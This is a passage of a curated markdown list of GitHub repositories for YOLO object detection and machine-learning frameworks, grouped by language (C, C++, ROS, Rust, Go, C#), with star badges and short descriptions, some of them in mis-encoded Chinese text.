- [misads/easy_detection](https://github.com/misads/easy_detection) <img src="https://img.shields.io/github/stars/misads/easy_detection?style=social"/> : ไธไธช็ฎๅๆนไพฟ็็ฎๆ ๆฃๆตๆกๆถ(PyTorch็ฏๅขๅฏ็ดๆฅ่ฟ่ก๏ผไธ้่ฆcuda็ผ่ฏ)๏ผๆฏๆFaster_RCNNใYolo็ณปๅ(v2~v5)ใEfficientDetใRetinaNetใCascade-RCNN็ญ็ปๅ
ธ็ฝ็ปใ
- [miemiedetection](https://github.com/miemie2013/miemiedetection) <img src="https://img.shields.io/github/stars/miemie2013/miemiedetection?style=social"/> : Pytorch and ncnn implementation of PPYOLOEใYOLOXใPPYOLOใPPYOLOv2ใSOLOv2 an so on.
- [pjh5672/YOLOv1](https://github.com/pjh5672/YOLOv1) <img src="https://img.shields.io/github/stars/pjh5672/YOLOv1?style=social"/> : YOLOv1 implementation using PyTorch.
- [pjh5672/YOLOv2](https://github.com/pjh5672/YOLOv2) <img src="https://img.shields.io/github/stars/pjh5672/YOLOv2?style=social"/> : YOLOv2 implementation using PyTorch.
- [pjh5672/YOLOv3](https://github.com/pjh5672/YOLOv3) <img src="https://img.shields.io/github/stars/pjh5672/YOLOv3?style=social"/> : YOLOv3 implementation using PyTorch.
- [Iywie/pl_YOLO](https://github.com/Iywie/pl_YOLO) <img src="https://img.shields.io/github/stars/Iywie/pl_YOLO?style=social"/> : YOLOv7, YOLOX and YOLOv5 are working right now.
- [DavidLandup0/deepvision](https://github.com/DavidLandup0/deepvision) <img src="https://img.shields.io/github/stars/DavidLandup0/deepvision?style=social"/> : PyTorch and TensorFlow/Keras image models with automatic weight conversions and equal API/implementations - Vision Transformer (ViT), ResNetV2, EfficientNetV2, (planned...) DeepLabV3+, ConvNeXtV2, YOLO, NeRF, etc.
- [theos-ai/easy-yolov7](https://github.com/theos-ai/easy-yolov7) <img src="https://img.shields.io/github/stars/theos-ai/easy-yolov7?style=social"/> : This a clean and easy-to-use implementation of YOLOv7 in PyTorch, made with โค๏ธ by Theos AI.
- ### C Implementation
- [ggml](https://github.com/ggerganov/ggml) <img src="https://img.shields.io/github/stars/ggerganov/ggml?style=social"/> : Tensor library for machine learning. Written in C.
- [rockcarry/ffcnn](https://github.com/rockcarry/ffcnn) <img src="https://img.shields.io/github/stars/rockcarry/ffcnn?style=social"/> : ffcnn is a cnn neural network inference framework, written in 600 lines C language.
- [ar7775/Object-Detection-System-Yolo](https://github.com/ar7775/Object-Detection-System-Yolo) <img src="https://img.shields.io/github/stars/ar7775/Object-Detection-System-Yolo?style=social"/> : Object Detection System.
- [lstuma/YOLO_utils](https://github.com/lstuma/YOLO_utils) <img src="https://img.shields.io/github/stars/lstuma/YOLO_utils?style=social"/> : A few utilities for the YOLO project implemented in C for extra speed.
- [RajneeshKumar12/yolo-detection-app](https://github.com/RajneeshKumar12/yolo-detection-app) <img src="https://img.shields.io/github/stars/RajneeshKumar12/yolo-detection-app?style=social"/> : Yolo app for object detection.
- [Deyht/CIANNA](https://github.com/Deyht/CIANNA) <img src="https://img.shields.io/github/stars/Deyht/CIANNA?style=social"/> : CIANNA - Convolutional Interactive Artificial Neural Networks by/for Astrophysicists.
- ### CPP Implementation
- [walktree/libtorch-yolov3](https://github.com/walktree/libtorch-yolov3) <img src="https://img.shields.io/github/stars/walktree/libtorch-yolov3?style=social"/> : A Libtorch implementation of the YOLO v3 object detection algorithm, written with pure C++.
- [yasenh/libtorch-yolov5](https://github.com/yasenh/libtorch-yolov5) <img src="https://img.shields.io/github/stars/yasenh/libtorch-yolov5?style=social"/> : A LibTorch inference implementation of the yolov5.
- [Nebula4869/YOLOv5-LibTorch](https://github.com/Nebula4869/YOLOv5-LibTorch) <img src="https://img.shields.io/github/stars/Nebula4869/YOLOv5-LibTorch?style=social"/> : Real time object detection with deployment of YOLOv5 through LibTorch C++ API.
- [ncdhz/YoloV5-LibTorch](https://github.com/ncdhz/YoloV5-LibTorch) <img src="https://img.shields.io/github/stars/ncdhz/YoloV5-LibTorch?style=social"/> : ไธไธช C++ ็ๆฌ็ YoloV5 ๅฐ่ฃ
ๅบ.
- [Rane2021/yolov5_train_cpp_inference](https://github.com/Rane2021/yolov5_train_cpp_inference) <img src="https://img.shields.io/github/stars/Rane2021/yolov5_train_cpp_inference?style=social"/> : yolov5่ฎญ็ปๅc++ๆจ็ไปฃ็ ๏ผๆๆๅบ่ฒใ
- [stephanecharette/DarkHelp](https://github.com/stephanecharette/DarkHelp) <img src="https://img.shields.io/github/stars/stephanecharette/DarkHelp?style=social"/> : The DarkHelp C++ API is a wrapper to make it easier to use the Darknet neural network framework within a C++ application.
- [UNeedCryDear/yolov5-opencv-dnn-cpp](https://github.com/UNeedCryDear/yolov5-opencv-dnn-cpp) <img src="https://img.shields.io/github/stars/UNeedCryDear/yolov5-opencv-dnn-cpp?style=social"/> : ไฝฟ็จopencvๆจกๅ้จ็ฝฒyolov5-6.0็ๆฌใ
- [UNeedCryDear/yolov5-seg-opencv-onnxruntime-cpp](https://github.com/UNeedCryDear/yolov5-seg-opencv-onnxruntime-cpp) <img src="https://img.shields.io/github/stars/UNeedCryDear/yolov5-seg-opencv-onnxruntime-cpp?style=social"/> : yolov5 segmentation with onnxruntime and opencv.
- [hpc203/yolov5-dnn-cpp-python](https://github.com/hpc203/yolov5-dnn-cpp-python) <img src="https://img.shields.io/github/stars/hpc203/yolov5-dnn-cpp-python?style=social"/> : ็จopencv็dnnๆจกๅๅyolov5็ฎๆ ๆฃๆต๏ผๅ
ๅซC++ๅPythonไธคไธช็ๆฌ็็จๅบใ
- [hpc203/yolox-opencv-dnn](https://github.com/hpc203/yolox-opencv-dnn) <img src="https://img.shields.io/github/stars/hpc203/yolox-opencv-dnn?style=social"/> : ไฝฟ็จOpenCV้จ็ฝฒYOLOX๏ผๆฏๆYOLOX-SใYOLOX-MใYOLOX-LใYOLOX-XใYOLOX-Darknet53ไบ็ง็ปๆ๏ผๅ
ๅซC++ๅPythonไธค็ง็ๆฌ็็จๅบใ
- [hpc203/yolov7-opencv-onnxrun-cpp-py](https://github.com/hpc203/yolov7-opencv-onnxrun-cpp-py) <img src="https://img.shields.io/github/stars/hpc203/yolov7-opencv-onnxrun-cpp-py?style=social"/> : ๅๅซไฝฟ็จOpenCVใONNXRuntime้จ็ฝฒYOLOV7็ฎๆ ๆฃๆต๏ผไธๅ
ฑๅ
ๅซ12ไธชonnxๆจกๅ๏ผไพ็ถๆฏๅ
ๅซC++ๅPythonไธคไธช็ๆฌ็็จๅบใ
- [doleron/yolov5-opencv-cpp-python](https://github.com/doleron/yolov5-opencv-cpp-python) <img src="https://img.shields.io/github/stars/doleron/yolov5-opencv-cpp-python?style=social"/> : Example of using ultralytics YOLO V5 with OpenCV 4.5.4, C++ and Python.
- [UNeedCryDear/yolov8-opencv-onnxruntime-cpp](https://github.com/UNeedCryDear/yolov8-opencv-onnxruntime-cpp) <img src="https://img.shields.io/github/stars/UNeedCryDear/yolov8-opencv-onnxruntime-cpp?style=social"/> : detection and instance segmentation of yolov8,use onnxruntime and opencv.
- ### ROS Implementation
- [mgonzs13/yolov8_ros](https://github.com/mgonzs13/yolov8_ros) <img src="https://img.shields.io/github/stars/mgonzs13/yolov8_ros?style=social"/> : Ultralytics YOLOv8 and YOLOv9 object detections for ROS 2.
- [leggedrobotics/darknet_ros](https://github.com/leggedrobotics/darknet_ros) <img src="https://img.shields.io/github/stars/leggedrobotics/darknet_ros?style=social"/> : Real-Time Object Detection for ROS.
- [engcang/ros-yolo-sort](https://github.com/engcang/ros-yolo-sort) <img src="https://img.shields.io/github/stars/engcang/ros-yolo-sort?style=social"/> : YOLO and SORT, and ROS versions of them.
- [chrisgundling/YoloLight](https://github.com/chrisgundling/YoloLight) <img src="https://img.shields.io/github/stars/chrisgundling/YoloLight?style=social"/> : Tiny-YOLO-v2 ROS Node for Traffic Light Detection.
- [Ar-Ray-code/YOLOX-ROS](https://github.com/Ar-Ray-code/YOLOX-ROS) <img src="https://img.shields.io/github/stars/Ar-Ray-code/YOLOX-ROS?style=social"/> : YOLOX + ROS2 object detection package.
- [Ar-Ray-code/YOLOv5-ROS](https://github.com/Ar-Ray-code/YOLOv5-ROS) <img src="https://img.shields.io/github/stars/Ar-Ray-code/YOLOv5-ROS?style=social"/> : YOLOv5 + ROS2 object detection package.
- [Tossy0423/yolov4-for-darknet_ros](https://github.com/Tossy0423/yolov4-for-darknet_ros) <img src="https://img.shields.io/github/stars/Tossy0423/yolov4-for-darknet_ros?style=social"/> : This is the environment in which YOLO V4 is ported to darknet_ros.
- [qianmin/yolov5_ROS](https://github.com/qianmin/yolov5_ROS) <img src="https://img.shields.io/github/stars/qianmin/yolov5_ROS?style=social"/> : run YOLOv5 in ROS๏ผROSไฝฟ็จYOLOv5ใ
- [ailllist/yolov5_ROS](https://github.com/ailllist/yolov5_ROS) <img src="https://img.shields.io/github/stars/ailllist/yolov5_ROS?style=social"/> : yolov5 for ros, not webcam.
- [Shua-Kang/ros_pytorch_yolov5](https://github.com/Shua-Kang/ros_pytorch_yolov5) <img src="https://img.shields.io/github/stars/Shua-Kang/ros_pytorch_yolov5?style=social"/> : A ROS wrapper for yolov5. (master branch is v5.0 of yolov5; for v6.1, see branch v6.1).
- [ziyan0302/Yolov5_DeepSort_Pytorch_ros](https://github.com/ziyan0302/Yolov5_DeepSort_Pytorch_ros) <img src="https://img.shields.io/github/stars/ziyan0302/Yolov5_DeepSort_Pytorch_ros?style=social"/> : Connect Yolov5 detection module and DeepSort tracking module via ROS.
- [U07157135/ROS2-with-YOLOv5](https://github.com/U07157135/ROS2-with-YOLOv5) <img src="https://img.shields.io/github/stars/U07157135/ROS2-with-YOLOv5?style=social"/> : ๅจ็กไบบๆฉไธไปฅROS2ๆ่กๅฏฆ็พYOLOv5็ฉไปถๅตๆธฌใ
- [lukazso/yolov6-ros](https://github.com/lukazso/yolov6-ros) <img src="https://img.shields.io/github/stars/lukazso/yolov6-ros?style=social"/> : ROS package for YOLOv6.
- [qq44642754a/Yolov5_ros](https://github.com/qq44642754a/Yolov5_ros) <img src="https://img.shields.io/github/stars/qq44642754a/Yolov5_ros?style=social"/> : Real-time object detection with ROS, based on YOLOv5 and PyTorch (ๅบไบ YOLOv5็ROSๅฎๆถๅฏน่ฑกๆฃๆต).
- [lukazso/yolov7-ros](https://github.com/lukazso/yolov7-ros) <img src="https://img.shields.io/github/stars/lukazso/yolov7-ros?style=social"/> : ROS package for official YOLOv7.
- [phuoc101/yolov7_ros](https://github.com/phuoc101/yolov7_ros) <img src="https://img.shields.io/github/stars/phuoc101/yolov7_ros?style=social"/> : ROS package for official YOLOv7.
- [ConfusionTechnologies/ros-yolov5-node](https://github.com/ConfusionTechnologies/ros-yolov5-node) <img src="https://img.shields.io/github/stars/ConfusionTechnologies/ros-yolov5-node?style=social"/> : For ROS2, uses ONNX GPU Runtime to inference YOLOv5.
- [Ar-Ray-code/darknet_ros_fp16](https://github.com/Ar-Ray-code/darknet_ros_fp16) <img src="https://img.shields.io/github/stars/Ar-Ray-code/darknet_ros_fp16?style=social"/> : darknet + ROS2 Humble + OpenCV4 + CUDA 11๏ผcuDNN, Jetson Orin๏ผ.
- [wk123467/yolov5s_trt_ros](https://github.com/wk123467/yolov5s_trt_ros) <img src="https://img.shields.io/github/stars/wk123467/yolov5s_trt_ros?style=social"/> : ๅฉ็จTensorRTๅฏนyolov5s่ฟ่กๅ ้๏ผๅนถๅฐๅ
ถๅบ็จไบROS๏ผๅฎ็ฐไบค้ๆ ๅฟใ็บข็ปฟ็ฏ(็ดๆฅ่พๅบ่ทฏ็ฏ็ถๆ)ใ่กไบบๅ่ฝฆ่พ็ญไบค้ๅบๆฏ็ๆฃๆตใ
- [PardisTaghavi/yolov7_strongsort_ros](https://github.com/PardisTaghavi/yolov7_strongsort_ros) <img src="https://img.shields.io/github/stars/PardisTaghavi/yolov7_strongsort_ros?style=social"/> : Integration of "Yolov7 StrongSort" with ROS for real time object tracking.
- [af-doom/yolov8_ros_tensorrt-](https://github.com/af-doom/yolov8_ros_tensorrt-) <img src="https://img.shields.io/github/stars/af-doom/yolov8_ros_tensorrt-?style=social"/> : This is a YOLOv8 project based on ROS implementation, where YOLOv8 uses Tensorrt acceleration.
- [KoKoMier/ros_darknet_yolov4](https://github.com/KoKoMier/ros_darknet_yolov4) <img src="https://img.shields.io/github/stars/KoKoMier/ros_darknet_yolov4?style=social"/> : ่ฟๆฏๆบๅจไบบๅฐ็ป่ง่งไธ้ท่พพ็็ปๅ็จๅบ๏ผ้ฆๅ
้่ฟyolo็ฎๆ ๆฃๆต่ฏๅซๅฐ็ฉไฝ๏ผ็ถๅๆ่ฏๅซๅฐ็ๆฐๆฎๅ้็ปros้้ข็จๅบ๏ผ็จไบ้ท่พพๆฐๆฎ็ปๅใ
- [YellowAndGreen/Yolov5-OpenCV-Cpp-Python-ROS](https://github.com/YellowAndGreen/Yolov5-OpenCV-Cpp-Python-ROS) <img src="https://img.shields.io/github/stars/YellowAndGreen/Yolov5-OpenCV-Cpp-Python-ROS?style=social"/> : Inference with YOLOv5, OpenCV 4.5.4 DNN, C++, ROS and Python.
- [mgonzs13/yolov8_ros](https://github.com/mgonzs13/yolov8_ros) <img src="https://img.shields.io/github/stars/mgonzs13/yolov8_ros?style=social"/> : ROS 2 wrap for Ultralytics [YOLOv8](https://github.com/ultralytics/ultralytics) to perform object detection.
- [fishros/yolov5_ros2](https://github.com/fishros/yolov5_ros2) <img src="https://img.shields.io/github/stars/fishros/yolov5_ros2?style=social"/> : ๅบไบYoloV5็ROS2ๅ่ฝๅ
๏ผๅฏไปฅๅฟซ้ๅฎๆ็ฉไฝ่ฏๅซไธไฝๅงฟๅๅธใ
- [fateshelled/EdgeYOLO-ROS](https://github.com/fateshelled/EdgeYOLO-ROS) <img src="https://img.shields.io/github/stars/fateshelled/EdgeYOLO-ROS?style=social"/> : EdgeYOLO + ROS2 object detection package.
- [vivaldini/yolov6-uav](https://github.com/vivaldini/yolov6-uav) <img src="https://img.shields.io/github/stars/vivaldini/yolov6-uav?style=social"/> : This repository contains a ROS noetic package for YOLOv6 to recognize objects from UAV and provide their positions.
- [Alpaca-zip/ultralytics_ros](https://github.com/Alpaca-zip/ultralytics_ros) <img src="https://img.shields.io/github/stars/Alpaca-zip/ultralytics_ros?style=social"/> : ROS/ROS2 package for Ultralytics YOLOv8 real-time object detection.
- ### Mojo Implementation
- [taalhaataahir0102/Mojo-Yolo](https://github.com/taalhaataahir0102/Mojo-Yolo) <img src="https://img.shields.io/github/stars/taalhaataahir0102/Mojo-Yolo?style=social"/> : Mojo-Yolo.
- ### Rust Implementation
- [Candle](https://github.com/huggingface/candle) <img src="https://img.shields.io/github/stars/huggingface/candle?style=social"/> : Minimalist ML framework for Rust.
- [Tokenizers](https://github.com/huggingface/tokenizers) <img src="https://img.shields.io/github/stars/huggingface/tokenizers?style=social"/> : ๐ฅ Fast State-of-the-Art Tokenizers optimized for Research and Production. [huggingface.co/docs/tokenizers](https://huggingface.co/docs/tokenizers/index)
- [Safetensors](https://github.com/huggingface/safetensors) <img src="https://img.shields.io/github/stars/huggingface/safetensors?style=social"/> : Simple, safe way to store and distribute tensors. [huggingface.co/docs/safetensors](https://huggingface.co/docs/safetensors/index)
- [Burn](https://github.com/burn-rs/burn) <img src="https://img.shields.io/github/stars/burn-rs/burn?style=social"/> : Burn - A Flexible and Comprehensive Deep Learning Framework in Rust. [burn-rs.github.io/](https://burn-rs.github.io/)
- [TensorFlow Rust](https://github.com/tensorflow/rust) <img src="https://img.shields.io/github/stars/tensorflow/rust?style=social"/> : Rust language bindings for TensorFlow.
- [tch-rs](https://github.com/LaurentMazare/tch-rs) <img src="https://img.shields.io/github/stars/LaurentMazare/tch-rs?style=social"/> : Rust bindings for the C++ api of PyTorch.
- [dfdx](https://github.com/coreylowman/dfdx) <img src="https://img.shields.io/github/stars/coreylowman/dfdx?style=social"/> : Deep learning in Rust, with shape checked tensors and neural networks.
- [tract](https://github.com/sonos/tract) <img src="https://img.shields.io/github/stars/sonos/tract?style=social"/> : Sonos' Neural Network inference engine. Tiny, no-nonsense, self-contained, Tensorflow and ONNX inference
- [ort](https://github.com/pykeio/ort) <img src="https://img.shields.io/github/stars/pykeio/ort?style=social"/> : A Rust wrapper for ONNX Runtime. [docs.rs/ort](https://docs.rs/ort/latest/ort/)
- [codingonion/yolov5-gui-slint](https://github.com/codingonion/yolov5-gui-slint) <img src="https://img.shields.io/github/stars/codingonion/yolov5-gui-slint?style=social"/> : YOLOv5 GUI inference framework built with Slint.
- [ptaxom/pnn](https://github.com/ptaxom/pnn) <img src="https://img.shields.io/github/stars/ptaxom/pnn?style=social"/> : pnn is [Darknet](https://github.com/alexeyAB/darknet) compatible neural nets inference engine implemented in Rust. By optimizing was achieved significant performance increment(especially in FP16 mode). pnn provide CUDNN-based and TensorRT-based inference engines.
- [bencevans/rust-opencv-yolov5](https://github.com/bencevans/rust-opencv-yolov5) <img src="https://img.shields.io/github/stars/bencevans/rust-opencv-yolov5?style=social"/> : YOLOv5 Inference with ONNX & OpenCV in Rust.
- [masc-it/yolov5-api-rust](https://github.com/masc-it/yolov5-api-rust) <img src="https://img.shields.io/github/stars/masc-it/yolov5-api-rust?style=social"/> : Rust API to run predictions with YoloV5 models.
- [AndreyGermanov/yolov8_onnx_rust](https://github.com/AndreyGermanov/yolov8_onnx_rust) <img src="https://img.shields.io/github/stars/AndreyGermanov/yolov8_onnx_rust?style=social"/> : YOLOv8 inference using Rust.
- [igor-yusupov/rusty-yolo](https://github.com/igor-yusupov/rusty-yolo) <img src="https://img.shields.io/github/stars/igor-yusupov/rusty-yolo?style=social"/> : rusty-yolo.
- [gsuyemoto/yolo-rust](https://github.com/gsuyemoto/yolo-rust) <img src="https://img.shields.io/github/stars/gsuyemoto/yolo-rust?style=social"/> : Run YOLO computer vision model using Rust and OpenCV and/or Torch.
- [alianse777/darknet-rust](https://github.com/alianse777/darknet-rust) <img src="https://img.shields.io/github/stars/alianse777/darknet-rust?style=social"/> : A Rust wrapper for Darknet, an open source neural network framework written in C and CUDA. [pjreddie.com/darknet/](https://pjreddie.com/darknet/)
- [12101111/yolo-rs](https://github.com/12101111/yolo-rs) <img src="https://img.shields.io/github/stars/12101111/yolo-rs?style=social"/> : Yolov3 & Yolov4 with TVM and rust.
- [TKGgunter/yolov4_tiny_rs](https://github.com/TKGgunter/yolov4_tiny_rs) <img src="https://img.shields.io/github/stars/TKGgunter/yolov4_tiny_rs?style=social"/> : A rust implementation of yolov4_tiny algorithm.
- [flixstn/You-Only-Look-Once](https://github.com/flixstn/You-Only-Look-Once) <img src="https://img.shields.io/github/stars/flixstn/You-Only-Look-Once?style=social"/> : A Rust implementation of Yolo for object detection and tracking.
- [lenna-project/yolo-plugin](https://github.com/lenna-project/yolo-plugin) <img src="https://img.shields.io/github/stars/lenna-project/yolo-plugin?style=social"/> : Yolo Object Detection Plugin for Lenna.
- [laclouis5/globox-rs](https://github.com/laclouis5/globox-rs) <img src="https://img.shields.io/github/stars/laclouis5/globox-rs?style=social"/> : Object detection toolbox for parsing, converting and evaluating bounding box annotations.
- [metobom/tchrs-opencv-webcam-inference](https://github.com/metobom/tchrs-opencv-webcam-inference) <img src="https://img.shields.io/github/stars/metobom/tchrs-opencv-webcam-inference?style=social"/> : This example shows steps for running a Python trained model on webcam feed with opencv and tch-rs. Model will run on GPU.
- ### Go Implementation
- [LdDl/go-darknet](https://github.com/LdDl/go-darknet) <img src="https://img.shields.io/github/stars/LdDl/go-darknet?style=social"/> : go-darknet: Go bindings for Darknet (Yolo V4, Yolo V7-tiny, Yolo V3).
- [adalkiran/distributed-inference](https://github.com/adalkiran/distributed-inference) <img src="https://img.shields.io/github/stars/adalkiran/distributed-inference?style=social"/> : Cross-language and distributed deep learning inference pipeline for WebRTC video streams over Redis Streams. Currently supports YOLOX model, which can run well on CPU.
- [wimspaargaren/yolov3](https://github.com/wimspaargaren/yolov3) <img src="https://img.shields.io/github/stars/wimspaargaren/yolov3?style=social"/> : Go implementation of the yolo v3 object detection system.
- [wimspaargaren/yolov5](https://github.com/wimspaargaren/yolov5) <img src="https://img.shields.io/github/stars/wimspaargaren/yolov5?style=social"/> : Go implementation of the yolo v5 object detection system.
- [genert/real_time_object_detection_go](https://github.com/genert/real_time_object_detection_go) <img src="https://img.shields.io/github/stars/genert/real_time_object_detection_go?style=social"/> : Real Time Object Detection with OpenCV, Go, and Yolo v4.
- ### CSharp Implementation
- [ML.NET](https://github.com/dotnet/machinelearning) <img src="https://img.shields.io/github/stars/dotnet/machinelearning?style=social"/> : ML.NET is an open source and cross-platform machine learning framework for .NET.
- [TorchSharp](https://github.com/dotnet/TorchSharp) <img src="https://img.shields.io/github/stars/dotnet/TorchSharp?style=social"/> : A .NET library that provides access to the library that powers PyTorch.
- [TensorFlow.NET](https://github.com/SciSharp/TensorFlow.NET) <img src="https://img.shields.io/github/stars/SciSharp/TensorFlow.NET?style=social"/> : .NET Standard bindings for Google's TensorFlow for developing, training and deploying Machine Learning models in C# and F#.
- [DlibDotNet](https://github.com/takuya-takeuchi/DlibDotNet) <img src="https://img.shields.io/github/stars/takuya-takeuchi/DlibDotNet?style=social"/> : Dlib .NET wrapper written in C++ and C# for Windows, MacOS, Linux and iOS.
- [DiffSharp](https://github.com/DiffSharp/DiffSharp) <img src="https://img.shields.io/github/stars/DiffSharp/DiffSharp?style=social"/> : DiffSharp: Differentiable Functional Programming.
- [dme-compunet/YOLOv8](https://github.com/dme-compunet/YOLOv8) <img src="https://img.shields.io/github/stars/dme-compunet/YOLOv8?style=social"/> : Use YOLOv8 in real-time, for object detection, instance segmentation, pose estimation and image classification, via ONNX Runtime.
- [techwingslab/yolov5-net](https://github.com/techwingslab/yolov5-net) <img src="https://img.shields.io/github/stars/techwingslab/yolov5-net?style=social"/> : YOLOv5 object detection with C#, ML.NET, ONNX.
- [sstainba/Yolov8.Net](https://github.com/sstainba/Yolov8.Net) <img src="https://img.shields.io/github/stars/sstainba/Yolov8.Net?style=social"/> : A .net 6 implementation to use Yolov5 and Yolov8 models via the ONNX Runtime.
- [Alturos.Yolo](https://github.com/AlturosDestinations/Alturos.Yolo) <img src="https://img.shields.io/github/stars/AlturosDestinations/Alturos.Yolo?style=social"/> : C# Yolo Darknet Wrapper (real-time object detection).
- [ivilson/Yolov7net](https://github.com/ivilson/Yolov7net) <img src="https://img.shields.io/github/stars/ivilson/Yolov7net?style=social"/> : Yolov7 Detector for .Net 6.
- [sangyuxiaowu/ml_yolov7](https://github.com/sangyuxiaowu/ml_yolov7) <img src="https://img.shields.io/github/stars/sangyuxiaowu/ml_yolov7?style=social"/> : ML.NET Yolov7. "ๅพฎไฟกๅ
ฌไผๅทใๆกๆฆ่็ฉใใ[YOLOv7 ๅจ ML.NET ไธญไฝฟ็จ ONNX ๆฃๆตๅฏน่ฑก](https://mp.weixin.qq.com/s/vXz6gavYJR2mh5KuJO_slA)ใ"
- [keijiro/TinyYOLOv2Barracuda](https://github.com/keijiro/TinyYOLOv2Barracuda) <img src="https://img.shields.io/github/stars/keijiro/TinyYOLOv2Barracuda?style=social"/> : Tiny YOLOv2 on Unity Barracuda.
- [derenlei/Unity_Detection2AR](https://github.com/derenlei/Unity_Detection2AR) <img src="https://img.shields.io/github/stars/derenlei/Unity_Detection2AR?style=social"/> : Localize 2D image object detection in 3D Scene with Yolo in Unity Barracuda and ARFoundation.
- [died/YOLO3-With-OpenCvSharp4](https://github.com/died/YOLO3-With-OpenCvSharp4) <img src="https://img.shields.io/github/stars/died/YOLO3-With-OpenCvSharp4?style=social"/> : Demo of implement YOLO v3 with OpenCvSharp v4 on C#.
- [mbaske/yolo-unity](https://github.com/mbaske/yolo-unity) <img src="https://img.shields.io/github/stars/mbaske/yolo-unity?style=social"/> : YOLO In-Game Object Detection for Unity (Windows).
- [BobLd/YOLOv4MLNet](https://github.com/BobLd/YOLOv4MLNet) <img src="https://img.shields.io/github/stars/BobLd/YOLOv4MLNet?style=social"/> : Use the YOLO v4 and v5 (ONNX) models for object detection in C# using ML.Net.
- [keijiro/YoloV4TinyBarracuda](https://github.com/keijiro/YoloV4TinyBarracuda) <img src="https://img.shields.io/github/stars/keijiro/YoloV4TinyBarracuda?style=social"/> : YoloV4TinyBarracuda is an implementation of the YOLOv4-tiny object detection model on the Unity Barracuda neural network inference library.
- [zhang8043/YoloWrapper](https://github.com/zhang8043/YoloWrapper) <img src="https://img.shields.io/github/stars/zhang8043/YoloWrapper?style=social"/> : C#ๅฐ่ฃ
YOLOv4็ฎๆณ่ฟ่ก็ฎๆ ๆฃๆตใ
- [maalik0786/FastYolo](https://github.com/maalik0786/FastYolo) <img src="https://img.shields.io/github/stars/maalik0786/FastYolo?style=social"/> : Fast Yolo for fast initializing, object detection and tracking.
- [Uehwan/CSharp-Yolo-Video](https://github.com/Uehwan/CSharp-Yolo-Video) <img src="https://img.shields.io/github/stars/Uehwan/CSharp-Yolo-Video?style=social"/> : C# Yolo for Video.
- [HTTP123-A/HumanDetection_Yolov5NET](https://github.com/https://github.com/HTTP123-A/HumanDetection_Yolov5NET) <img src="https://img.shields.io/github/stars/HTTP123-A/HumanDetection_Yolov5NET?style=social"/> : YOLOv5 object detection with ML.NET, ONNX.
- [Celine-Hsieh/Hand_Gesture_Training--yolov4](https://github.com/Celine-Hsieh/Hand_Gesture_Training--yolov4) <img src="https://img.shields.io/github/stars/Celine-Hsieh/Hand_Gesture_Training--yolov4?style=social"/> : Recognize the gestures' features using the YOLOv4 algorithm.
- [lin-tea/YOLOv5DetectionWithCSharp](https://github.com/lin-tea/YOLOv5DetectionWithCSharp) <img src="https://img.shields.io/github/stars/lin-tea/YOLOv5DetectionWithCSharp?style=social"/> : YOLOv5s inference In C# and Training In Python.
- [MirCore/Unity-Object-Detection-and-Localization-with-VR](https://github.com/MirCore/Unity-Object-Detection-and-Localization-with-VR) <img src="https://img.shields.io/github/stars/MirCore/Unity-Object-Detection-and-Localization-with-VR?style=social"/> : Detect and localize objects from the front-facing camera image of a VR Headset in a 3D Scene in Unity using Yolo and Barracuda.
- [CarlAreDHopen-eaton/YoloObjectDetection](https://github.com/CarlAreDHopen-eaton/YoloObjectDetection) <img src="https://img.shields.io/github/stars/CarlAreDHopen-eaton/YoloObjectDetection?style=social"/> : Yolo Object Detection Application for RTSP streams.
- [TimothyMeadows/Yolo6.NetCore](https://github.com/TimothyMeadows/Yolo6.NetCore) <img src="https://img.shields.io/github/stars/TimothyMeadows/Yolo6.NetCore?style=social"/> : You Only Look Once (v6) for .NET Core LTS.
- [mwetzko/EasyYoloDarknet](https://github.com/mwetzko/EasyYoloDarknet) <img src="https://img.shields.io/github/stars/mwetzko/EasyYoloDarknet?style=social"/> : EasyYoloDarknet.
- [mwetzko/EasyYoloDarknet](https://github.com/mwetzko/EasyYoloDarknet) <img src="https://img.shields.io/github/stars/mwetzko/EasyYoloDarknet?style=social"/> : Windows optimized Yolo / Darknet Compile, Train and Detect.
- [cj-mills/Unity-OpenVINO-YOLOX](https://github.com/cj-mills/Unity-OpenVINO-YOLOX) <img src="https://img.shields.io/github/stars/cj-mills/Unity-OpenVINO-YOLOX?style=social"/> : This tutorial series covers how to perform object detection in the Unity game engine with the OpenVINOโข Toolkit.
- [natml-hub/YOLOX](https://github.com/natml-hub/YOLOX) <img src="https://img.shields.io/github/stars/natml-hub/YOLOX?style=social"/> : High performance object detector based on YOLO series.
- [thisistherealdiana/YOLO_project](https://github.com/thisistherealdiana/YOLO_project) <img src="https://img.shields.io/github/stars/thisistherealdiana/YOLO_project?style=social"/> : YOLO project made by Diana Kereselidze.
- [oujunke/Yolo5Net](https://github.com/oujunke/Yolo5Net) <img src="https://img.shields.io/github/stars/oujunke/Yolo5Net?style=social"/> : Yolo5ๅฎ็ฐไบTensorFlow.Net.
- [wojciechp6/YOLO-UnityBarracuda](https://github.com/wojciechp6/YOLO-UnityBarracuda) <img src="https://img.shields.io/github/stars/wojciechp6/YOLO-UnityBarracuda?style=social"/> : Object detection app build on Unity Barracuda and YOLOv2 Tiny.
- [RaminAbbaszadi/YoloWrapper-WPF](https://github.com/RaminAbbaszadi/YoloWrapper-WPF) <img src="https://img.shields.io/github/stars/RaminAbbaszadi/YoloWrapper-WPF?style=social"/> : WPF (C#) Yolo Darknet Wrapper.
- [fengyhack/YoloWpf](https://github.com/fengyhack/YoloWpf) <img src="https://img.shields.io/github/stars/fengyhack/YoloWpf?style=social"/> : GUI demo for Object Detection with YOLO and OpenCVSharp.
- [hanzhuang111/Yolov5Wpf](https://github.com/hanzhuang111/Yolov5Wpf) <img src="https://img.shields.io/github/stars/hanzhuang111/Yolov5Wpf?style=social"/> : ไฝฟ็จML.NET้จ็ฝฒYOLOV5 ็ONNXๆจกๅใ
- [MaikoKingma/yolo-winforms-test](https://github.com/MaikoKingma/yolo-winforms-test) <img src="https://img.shields.io/github/stars/MaikoKingma/yolo-winforms-test?style=social"/> : A Windows forms application that can execute pre-trained object detection models via ML.NET. In this instance the You Only Look Once version 4 (yolov4) is used.
- [SeanAnd/WebcamObjectDetection](https://github.com/SeanAnd/WebcamObjectDetection) <img src="https://img.shields.io/github/stars/SeanAnd/WebcamObjectDetection?style=social"/> : YOLO object detection using webcam in winforms.
- [Devmawi/BlazorObjectDetection-Sample](https://github.com/Devmawi/BlazorObjectDetection-Sample) <img src="https://img.shields.io/github/stars/Devmawi/BlazorObjectDetection-Sample?style=social"/> : Simple project for demonstrating how to embed a continuously object detection with Yolo on a video in a hybrid Blazor app (WebView2).
